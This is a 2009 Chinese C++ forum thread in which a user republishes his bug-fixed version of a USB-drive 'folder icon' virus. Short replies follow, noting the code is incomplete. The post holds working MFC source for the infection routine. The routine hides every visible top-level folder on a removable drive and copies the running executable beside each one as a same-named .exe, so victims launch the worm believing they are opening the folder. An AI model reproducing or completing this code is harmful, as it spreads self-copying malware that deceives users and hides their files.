[原创]文件夹图标病毒 U盘病毒

alalmn 2009-04-10 01:25:05
/*文章作者:ALALMN JACK    BLOG  http://hi.baidu.com/alalmn
qq: 316118740
在邪八看到这个 ([原创]文件夹图标病毒以及专杀的实现) 呵呵
我们学校也有 我也中过 挺有意思的 我下载下来 一直没看代码
过年的时候刚好有时间看了下 发现很多问题(BUG) 后来给作者说下自己又改下 现在发布下
2009/1/27 */

U盘病毒 功能:模仿已有的U盘病毒 感染移动存贮器的一级目录 引用:
#include "stdafx.h"
#include <windows.h>
#include "resource.h"
/////////////////////////////////////////////////////
VOID DoBad(char DriveBuf[]);
VOID DoBad(char DriveBuf[])
{
CFileFind finder;
// build a string with wildcards
CString strWildcard(DriveBuf);
strWildcard += _T("*.*");
char FileSource[MAX_PATH]={0};
char FileNew[MAX_PATH]={0};
HMODULE hModule=GetModuleHandle(NULL);
GetModuleFileName(hModule,FileSource,MAX_PATH);
CloseHandle(hModule);
// start working for files
BOOL bWorking = finder.FindFile(strWildcard);
while (bWorking)
{
bWorking = finder.FindNextFile();
if (finder.IsDots())
continue;
// if it's a directory, recursively search it
if (finder.IsDirectory()&&!finder.IsSystem()&&!finder.IsHidden())
{
if(!SetFileAttributes(finder.GetFilePath(),FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM)) //| FILE_ATTRIBUTE_SYSTEM
continue;
sprintf(FileNew,"%s%s",finder.GetFilePath(),".exe");
CopyFile(FileSource,FileNew,TRUE);
}
}
finder.Close();
}
/////////////////////////////////////////////////////


/
...全文
188 11 打赏 收藏 转发到动态 举报
AI 作业
写回复
用AI写文章
11 条回复
切换为时间正序
请发表友善的回复…
发表回复
littlefish636 2009-05-28
  • 打赏
  • 举报
回复
BossJue 2009-05-28
  • 打赏
  • 举报
回复
不知道起不起效果!
Treazy 2009-05-26
  • 打赏
  • 举报
回复
这个放上来什么意思?
backway 2009-05-26
  • 打赏
  • 举报
回复
哇塞
hackyxd 2009-05-25
  • 打赏
  • 举报
回复
怎么才这点?
cms03031516 2009-05-25
  • 打赏
  • 举报
回复
顶下
夜鹰 2009-05-25
  • 打赏
  • 举报
回复
妖哥,这个帖子给你了:)
FerryLv 2009-05-24
  • 打赏
  • 举报
回复
怎么就一段啊,其他的呢?也想学习学习~~
qq466742089 2009-04-12
  • 打赏
  • 举报
回复
代碼没寫完吧
alalmn 2009-04-10
  • 打赏
  • 举报
回复
不知道为什么代码不能传上来 郁闷
dave20 2009-04-10
  • 打赏
  • 举报
回复
我是新手,还希望能带解释的代码呢!!

3,882

社区成员

发帖
与我相关
我的任务
社区描述
C/C++ 其它技术问题
社区管理员
  • 其它技术问题社区
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧